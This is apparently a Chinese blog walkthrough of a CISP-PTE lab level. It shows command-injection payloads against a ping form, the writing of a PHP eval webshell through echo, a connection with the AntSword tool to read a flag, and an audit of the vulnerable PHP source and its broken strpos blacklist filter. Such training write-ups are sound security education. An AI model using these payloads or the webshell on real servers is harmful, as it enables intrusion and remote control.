目录
(2)第二部分:echo -e " ">mooyuan.php
本文详细讲解CISP-PTE靶场命令执行关卡渗透实战全流程。通过分析靶场页面提示,利用Linux命令注入漏洞,先后完成目录遍历、flag获取和木马写入操作。重点演示了如何构造Payload绕过过滤机制,包括使用分号分隔命令、转义特殊字符等技巧。随后使用蚁剑工具成功连接Webshell并获取flag。源码审计部分揭示了关键漏洞:filter函数因错误使用strpos返回值判断导致黑名单过滤完全失效,致使系统可直接执行任意命令。该案例完整呈现了从漏洞发现到利用的全过程,并分析了代码层面的安全缺陷。
一、渗透实战
1、打开靶场
打开靶场,页面提示“ 命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。 通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。 请开始答题!”
http://9adba4d9.clsadp.com/

点击进入答题,如下所示进入到如下“验证主机是否存活”的页面。
http://9adba4d9.clsadp.com/vulnerabilities/fu1.php

2、命令执行获取flag
(1)查看当前目录
127.0.0.1&ls
输出信息为:footer.php fu1.php function.php index.php nav1.php nav1.php

(2)查看上一层目录
根据当前URL:http://9adba4d9.clsadp.com/vulnerabilities/fu1.php,可知当前fu.php在根目录的vulnerabilities文件夹中,故而上一层目录就是网站根目录,/var/www/html
127.0.0.1&ls ..
输出结果为:css fonts footer.php index.php js key.php nav.php vulnerabilities

接下来我们尝试直接访问网站根目录,payload:127.0.0.1&ls /var/www/html
输出结果与ls ..一致:css fonts footer.php index.php js key.php nav.php vulnerabilities

(3)执行查看flag命令
接下来使用cat ../key.php查看key文件,如下所示页面输出“Get it”。
127.0.0.1&cat ../key.php

(4)右键元素查看flag
右键元素查看flag,如下所示。

(5)右键源码查看flag
右键源码查看flag,如下所示。

3、写入木马
执行echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php命令生成木马,完整组合后的Payload如下所示。
127.0.0.1;echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php
(1)第一部分:ping 127.0.0.1
-
执行正常的ping命令,ping回环地址
-
目的是伪装和混淆,让命令看起来像正常的网络诊断
(2)第二部分:echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php
-
echo -e- 启用转义字符解释 -
<?php @eval(\$_POST[ljn]);?>- 一句话木马代码 -
>mooyuan.php- 输出重定向,创建mooyuan.php文件

(3)为何要加入\转义符
-
防止变量提前展开
在Shell环境中,$符号用于变量引用:
# 如果没有转义,Shell会尝试解析$_POST echo "<?php @eval($_POST[ljn]);?>" # Shell会寻找$_POST变量(不存在)
-
确保PHP代码完整性
通过转义\$,确保$_POST这个PHP变量名原样写入文件:
# 转义后 echo "<?php @eval(\$_POST[ljn]);?>" # 输出:<?php @eval($_POST[ljn);?> # 未转义(错误) echo "<?php @eval($_POST[ljn]);?>" # 输出:<?php @eval([ljn]);?> (变量被展开为空)
4、浏览器hackbar访问
http://8fe110c0.clsadp.com/mooyuan3.php
ljn=phpinfo();

5、蚁剑工具访问
http://9adba4d9.clsadp.com/vulnerabilities/mooyuan.php
密码ljn



6、蚁剑工具获取flag
/var/www/html/key.php


二、源码分析
1、查看fu1.php源码
打开/var/www/html/vulnerabilities/fu1.php源码文件,内容如下所示。

代码实现了一个存在安全漏洞的主机存活检测功能,通过POST表单接收用户输入的cmd参数并调用filter函数进行安全检查。如果filter返回true则使用system函数执行ping -c 1 $cmd命令来检测目标主机连通性,否则显示"敏感字符"错误提示。然而代码存在严重安全隐患:直接将未经充分过滤的用户输入拼接进系统命令,且依赖的filter函数存在逻辑缺陷(错误使用strpos返回值判断),导致黑名单过滤机制失效。攻击者可通过分号、管道符等实现命令注入,执行任意系统指令,属于典型的命令执行漏洞场景,严重威胁服务器安全。完整源码如下所示。
<!DOCTYPE html>
<html>
<head>
<meta charset="gb2312">
<title>CISP-PTE 认证考试</title>
<link rel="stylesheet" href="../css/materialize.min.css">
</head>
<body>
<div class="container">
<?php error_reporting(0); ?>
<!-- Navbar goes here -->
<!-- Page Layout here -->
<div class="row">
<div class="col s3">
<?php
include("nav1.php");
include("function.php");
?>
</div>
<div class="col s9">
<h5>基础题目之命令执行</h5>
<b>描述</b>
<p>请开始答题</p>
<div class="card teal lighten-1">
<div class="card-content white-text">
<span class="card-title">验证主机是否存活</span>
<form method=POST enctype="multipart/form-data" action="">
<input type="text" name="cmd">
<input type=submit value="提交"></form>
</div>
<div class="card-action">
<?php
$cmd = $_POST["cmd"];
if (filter($cmd))
{
echo system("ping -c 1 $cmd");
}
else
{
echo "你输入的命令包含敏感字符!请检查命令是否填写正确!";
}
?>
</div>
</div>
</div>
</div>
</div>
<p align="center"><?php include("footer.php"); ?> </p>
</body>
</html>
2、查看function.php源码
打开/var/www/html/vulnerabilities/function.php源码文件分析filter函数,如下所示。

3、代码审计
这段PHP代码设计了一个命令安全过滤函数,通过预定义的黑名单数组(包含ls、echo、cat、more、sort、vi等6个常见系统命令)对用户输入命令进行安全检查。函数使用strpos遍历检测输入内容是否包含危险命令关键词,发现则返回false拒绝执行,否则返回true允许通过。然而该代码存在严重逻辑缺陷:strpos函数返回的是位置索引或false,而条件判断误用"=== true"使得过滤机制完全失效,因为strpos永远不会返回布尔值true。正确的写法应使用"!== false"进行检测,此错误导致黑名单过滤功能无效,无法实际防护命令注入攻击,属于典型的安全代码实现缺陷。注释后的源码如下所示。
<?php
/**
* 命令过滤函数
* 功能:检查输入命令是否包含危险命令,实现安全过滤
*/
function filter($cmd)
{
// 定义危险命令黑名单数组
// 包含常见的文件操作和系统命令
$cmdarrays = array("ls", "echo", "cat", "more", "sort", "vi");
// 遍历黑名单数组,检查输入命令是否包含危险命令
foreach ($cmdarrays as &$value )
{
// 使用strpos检查命令字符串中是否包含黑名单词汇
// 注意:这里使用了=== true,但strpos返回的是位置索引或false
// 这实际上是一个逻辑错误,应该使用!== false
if (strpos($cmd, $value) === true)
{
return false; // 检测到危险命令,返回false拒绝执行
}
}
return true; // 未检测到危险命令,返回true允许执行
}
?>
关键漏洞:第11行的条件判断 === true 是错误的,因为:
-
strpos()返回找到字符串的位置(0,1,2...)或false -
应该使用
!== false来检查是否找到 -
当前代码实际上永远不会触发过滤,因为strpos永远不会返回true
正确写法:
if (strpos($cmd, $value) !== false)
{
return false;
}
这个看似简单的语法错误使得整个安全过滤机制完全失效,体现了安全代码中细节的重要性。
1846

被折叠的 条评论
为什么被折叠?



